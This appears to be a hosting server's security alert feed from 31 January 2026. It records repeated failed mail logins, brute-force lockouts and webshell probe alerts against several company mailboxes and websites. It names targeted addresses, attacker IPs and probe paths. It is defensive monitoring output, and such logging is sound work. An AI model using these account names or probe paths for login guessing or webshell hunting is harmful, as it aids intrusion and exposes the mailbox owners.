2026-01-31 13:38:03 dovecot_login authenticator failed for H=(HvuYN2uW7C) [165.154.235.118]:26539: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.168.119.2
country_id: 1814991
description:
2026-01-31 13:38:21 dovecot_login authenticator failed for H=([180.168.119.2]) [180.168.119.2]:54528: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 195.239.19.87
country_id: 2017370
description:
2026-01-31 13:38:23 dovecot_login authenticator failed for H=([195.239.19.87]) [195.239.19.87]:57660: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.53.7.231
country_id: 6252001
description:
2026-01-31 13:38:45 dovecot_login authenticator failed for H=([64.53.7.231]) [64.53.7.231]:48052: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 13:38:52 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 13:39:10 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.216.169.12
country_id: 2328926
description:
2026-01-31 13:39:53 dovecot_login authenticator failed for H=([41.216.169.12]) [41.216.169.12]:49202: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 168.126.53.11
country_id: 1835841
description:
2026-01-31 13:39:18 dovecot_login authenticator failed for H=([168.126.53.11]) [168.126.53.11]:39245: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.238.92.245
country_id: 2623032
description:
2026-01-31 13:39:46 dovecot_login authenticator failed for H=(84-238-92-245.ptr.bnaa.dk) [84.238.92.245]:46063: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:39:47 dovecot_login authenticator failed for H=(7zh6Vj9Bo) [158.94.208.175]:60969: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 13:39:11 dovecot_login authenticator failed for H=(F6XNzq) [165.154.235.118]:50727: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.222
country_id: 1269750
description:
2026-01-31 13:39:22 dovecot_login authenticator failed for H=(nsg-corporate-222.230.187.122.airtel.in) [122.187.230.222]:59635: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:39:12 dovecot_login authenticator failed for H=(f8z5UDCC) [158.94.209.22]:64485: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 13:39:45 dovecot_login authenticator failed for H=(WQqhxG) [165.154.235.118]:62847: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.194
country_id: 1269750
description:
2026-01-31 13:40:19 dovecot_login authenticator failed for H=(nsg-corporate-194.230.187.122.airtel.in) [122.187.230.194]:44543: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.228.113.27
country_id: 1835841
description:
2026-01-31 13:40:48 dovecot_login authenticator failed for H=([211.228.113.27]) [211.228.113.27]:56048: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 57.129.69.65
country_id: 2921044
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/img/img/img/demos/img/photos/img/demos/product.php||SC:/home2/pspolycom/public_html/img/img||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 13:40:04 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:40:06 dovecot_login authenticator failed for H=(naFRCJ2w) [158.94.209.22]:56312: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 13:40:07 dovecot_login authenticator failed for H=(eEr0PSvmZH) [165.154.235.118]:6608: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:40:36 dovecot_login authenticator failed for H=(X7nsQdgZ) [158.94.208.175]:57692: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.185.198.73
country_id: 798544
description:
2026-01-31 13:41:01 dovecot_login authenticator failed for H=5.185.198.73.ipv4.public.orange.pl [5.185.198.73]:38570: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.150.252
country_id: 1733045
description:
2026-01-31 13:41:05 dovecot_login authenticator failed for H=([49.124.150.252]) [49.124.150.252]:46322: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.174.34.49
country_id: 1269750
description:
2026-01-31 13:41:07 dovecot_login authenticator failed for H=([103.174.34.49]) [103.174.34.49]:65042: 535 Incorrect authentication data (set_id=admin@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:41:18 dovecot_login authenticator failed for H=(41NylfL) [158.94.209.22]:50782: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:41:25 dovecot_login authenticator failed for H=(8bXu2MRS5) [158.94.208.175]:58428: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.233.140.250
country_id: 3469034
description:
2026-01-31 13:41:37 dovecot_login authenticator failed for H=([181.233.140.250]) [181.233.140.250]:52774: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.18.49.14
country_id: 1814991
description:
2026-01-31 13:41:50 dovecot_login authenticator failed for H=([121.18.49.14]) [121.18.49.14]:47610: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 13:41:04 dovecot_login authenticator failed for H=(BlSKcb) [165.154.235.118]:27873: 535 Incorrect authentication data


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 13:41:16 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.18.148.10
country_id: 1814991
description:
2026-01-31 13:41:23 dovecot_login authenticator failed for H=(hebei.18.121.in-addr.arpa) [121.18.148.10]:61756: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.177.118
country_id: 1269750
description:
2026-01-31 13:41:35 dovecot_login authenticator failed for H=([152.52.234.180]) [182.95.177.118]:36722: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 13:42:10 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:42:14 dovecot_login authenticator failed for H=(jNdlrc) [158.94.208.175]:54511: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 13:42:23 dovecot_login authenticator failed for H=(u8i330) [165.154.235.118]:57677: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 13:42:12 dovecot_login authenticator failed for H=(ie71b0DM) [165.154.235.118]:53265: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:42:12 dovecot_login authenticator failed for H=(o3lUc8) [158.94.209.22]:59021: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.164.35.116
country_id: 2328926
description:
2026-01-31 13:42:34 dovecot_login authenticator failed for H=([102.164.35.116]) [102.164.35.116]:55388: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.251.249.72
country_id: 2300660
description:
2026-01-31 13:42:44 dovecot_login authenticator failed for H=([197.251.249.72]) [197.251.249.72]:37992: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:43:05 dovecot_login authenticator failed for H=(oK9HRRQ0) [158.94.208.175]:52089: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 13:43:09 dovecot_login authenticator failed for H=(SgGZc5hz) [165.154.235.118]:10222: 535 Incorrect authentication data


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 13:43:04 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:43:06 dovecot_login authenticator failed for H=(ro3dZUxJQ) [158.94.209.22]:50605: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:44:18 dovecot_login authenticator failed for H=(QwDF781) [158.94.209.22]:61238: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:44:20 dovecot_login authenticator failed for H=(hMug9Pv) [158.94.208.175]:53930: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.223.251.132
country_id: 1814991
description:
2026-01-31 13:44:42 dovecot_login authenticator failed for H=(132.251.223.60.adsl-pool.sx.cn) [60.223.251.132]:50650: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.58.62
country_id: 1269750
description:
2026-01-31 13:44:50 dovecot_login authenticator failed for H=([125.19.70.49]) [182.95.58.62]:47222: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.57.170.15
country_id: 3175395
description:
2026-01-31 13:44:17 dovecot_plain authenticator failed for H=([100.64.100.6]) [2.57.170.15]:48052: 535 Incorrect authentication data (set_id=sham@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 13:44:05 dovecot_login authenticator failed for H=(nse0jV) [165.154.235.118]:31198: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.156.82.86
country_id: 1880251
description:
2026-01-31 13:45:54 dovecot_login authenticator failed for H=(86.82.156.175.unknown.m1.com.sg) [175.156.82.86]:41748: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 13:45:09 dovecot_login authenticator failed for H=(P0kwSvk6) [165.154.235.118]:60492: 535 Incorrect authentication data (set_id=htayhtay)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 13:45:12 dovecot_login authenticator failed for H=(4T6vevQW) [165.154.235.118]:62008: 535 Incorrect authentication data (set_id=htayhtay)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.213
country_id: 1269750
description:
2026-01-31 13:45:57 dovecot_login authenticator failed for H=([122.187.230.213]) [122.187.230.213]:40544: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Jan 31 13:45:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account euratech@euratech.com.my has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:45:11 dovecot_login authenticator failed for H=(GuG0lX4Dv) [158.94.208.175]:59000: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.93.201.42
country_id: 1269750
description:
2026-01-31 13:45:41 dovecot_login authenticator failed for H=([103.93.201.42]) [103.93.201.42]:34808: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.127.132.159
country_id: 6252001
description:
2026-01-31 13:45:29 dovecot_login authenticator failed for H=(ADMIN) [79.127.132.159]:46336: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:45:12 dovecot_login authenticator failed for H=(uJsDCzE1) [158.94.209.22]:52834: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.52.166.93
country_id: 1819730
description:
2026-01-31 13:45:23 dovecot_login authenticator failed for H=(ADMIN) [47.52.166.93]:57154: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 13:46:40 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:46:06 dovecot_login authenticator failed for H=(nklAabIGdH) [158.94.209.22]:60672: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:46:24 dovecot_login authenticator failed for H=(oMPkDnmV) [158.94.208.175]:57728: 535 Incorrect authentication data (set_id=euratech)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 8.243.166.66
country_id: 3686110
description:
2026-01-31 13:46:22 dovecot_login authenticator failed for H=([8.243.166.66]) [8.243.166.66]:4501: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 13:46:06 dovecot_login authenticator failed for H=(YB61gMb) [165.154.235.118]:11849: 535 Incorrect authentication data


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 13:47:27 dovecot_login authenticator failed for H=(fjumMaTnVP) [165.154.235.118]:42276: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 13:47:04 dovecot_login authenticator failed for H=(jUQ9ii0IaS) [165.154.235.118]:33409: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:47:09 dovecot_login authenticator failed for H=(OxMGSDd8A) [158.94.208.175]:65346: 535 Incorrect authentication data (set_id=euratech)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 13:47:16 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:47:18 dovecot_login authenticator failed for H=(LxvrlUJ) [158.94.209.22]:54246: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.171.7.161
country_id: 1733045
description:
2026-01-31 13:47:31 dovecot_login authenticator failed for H=([183.171.7.161]) [183.171.7.161]:40366: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.184.36.53
country_id: 1814991
description:
2026-01-31 13:47:15 dovecot_login authenticator failed for H=([61.184.36.58]) [61.184.36.53]:46330: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/about-us/images/sliders/products.php||SC:/home/sutsbcom/public_html/about-us||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.126.144.30
country_id: 6252001
description:
2026-01-31 13:48:57 dovecot_login authenticator failed for H=ool-457e901e.dyn.optonline.net [69.126.144.30]:63578: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 13:48:02 dovecot_login authenticator failed for H=(Rn0kcY0ZgI) [165.154.235.118]:55743: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.130.200.86
country_id: 1814991
description:
2026-01-31 13:48:04 dovecot_login authenticator failed for H=([220.189.239.206]) [61.130.200.86]:49918: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 13:48:11 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:48:43 dovecot_login authenticator failed for H=(LRhy6Wd) [158.94.208.175]:51250: 535 Incorrect authentication data (set_id=euratech)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.30.248.213
country_id: 2017370
description:
2026-01-31 13:48:43 dovecot_login authenticator failed for H=broadband-85-30-248-213.ip.moscow.rt.ru [85.30.248.213]:58762: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:48:13 dovecot_login authenticator failed for H=(MvPmkF) [158.94.209.22]:61895: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.29.185.162
country_id: 1643084
description:
2026-01-31 13:48:24 dovecot_login authenticator failed for H=([103.29.185.162]) [103.29.185.162]:60346: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 13:49:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:49:07 dovecot_login authenticator failed for H=(XlydBU) [158.94.209.22]:53128: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 13:49:10 dovecot_login authenticator failed for H=(QYr1qOx8ji) [165.154.235.118]:17143: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.66.214.34
country_id: 1269750
description:
2026-01-31 13:49:20 dovecot_login authenticator failed for H=(nsg-corporate-78.223.187.122.airtel.in) [182.66.214.34]:41546: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:49:16 dovecot_login authenticator failed for H=(zs1TtWuwVq) [158.94.208.175]:64292: 535 Incorrect authentication data (set_id=euratech)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.233.117.109
country_id: 3469034
description:
2026-01-31 13:49:28 dovecot_login authenticator failed for H=([186.233.117.109]) [186.233.117.109]:52424: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.4.199.164
country_id: 1814991
description:
2026-01-31 13:49:46 dovecot_login authenticator failed for H=(164.199.4.122.broad.wf.sd.dynamic.163data.com.cn) [122.4.199.164]:62414: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:50:01 dovecot_login authenticator failed for H=(ihAS1z06) [158.94.209.22]:60984: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 13:50:18 dovecot_login authenticator failed for H=(HhPBpAjN) [165.154.235.118]:42573: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:50:26 dovecot_login authenticator failed for H=(VC9tsieQL) [158.94.208.175]:51049: 535 Incorrect authentication data (set_id=euratech)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.161.197.209
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/listing-details.php?id=39349816 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 13:50:07 dovecot_login authenticator failed for H=(O1dTol4r) [165.154.235.118]:38100: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.212.129.46
country_id: 1562822
description:
2026-01-31 13:50:14 dovecot_login authenticator failed for H=([125.212.129.46]) [125.212.129.46]:52934: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 13:50:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 13:51:03 dovecot_login authenticator failed for H=(43XBkFhGN) [165.154.235.118]:60246: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.109.34.17
country_id: 1269750
description:
2026-01-31 13:51:17 dovecot_plain authenticator failed for H=(AM2GM97U1Z7) [203.109.34.17]:63870: 535 Incorrect authentication data (set_id=hhling@af-sb.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:51:13 dovecot_login authenticator failed for H=(DkTB112QoN) [158.94.209.22]:54685: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Jan 31 13:51:37 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account euratech has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 13:51:11 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:51:14 dovecot_login authenticator failed for H=(azghV38N) [158.94.208.175]:63866: 535 Incorrect authentication data (set_id=euratech)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.199.172.66
country_id: 1814991
description:
2026-01-31 13:51:11 dovecot_login authenticator failed for H=([221.199.172.66]) [221.199.172.66]:41634: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.189.226.81
country_id: 1835841
description:
2026-01-31 13:51:49 dovecot_login authenticator failed for H=([121.189.226.81]) [121.189.226.81]:50928: 535 Incorrect authentication data (set_id=support@ocned.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 13:52:44 dovecot_login authenticator failed for H=(yoBKo0Jh) [165.154.235.118]:33504: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:52:05 dovecot_login authenticator failed for H=(FW4Xrr) [158.94.208.175]:53849: 535 Incorrect authentication data (set_id=euratech)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:52:07 dovecot_login authenticator failed for H=(TVcS1xWQ) [158.94.209.22]:62461: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.203.114
country_id: 1269750
description:
2026-01-31 13:52:09 dovecot_login authenticator failed for H=([122.184.89.169]) [125.23.203.114]:48846: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.149.235.152
country_id: 1835841
description:
2026-01-31 13:52:19 dovecot_login authenticator failed for H=([218.149.235.152]) [218.149.235.152]:37894: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.233.21.109
country_id: 272103
description:
2026-01-31 13:52:01 dovecot_login authenticator failed for H=([109.233.21.109]) [109.233.21.109]:42888: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Jan 31 13:52:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account euratech has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 13:52:11 dovecot_login authenticator failed for H=(YD6LFBYSk) [165.154.235.118]:21116: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:53:40 dovecot_login authenticator failed for H=(os5K0CHD0) [158.94.208.175]:62371: 535 Incorrect authentication data (set_id=euratech)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:53:01 dovecot_login authenticator failed for H=(LSqGt5) [158.94.209.22]:53692: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


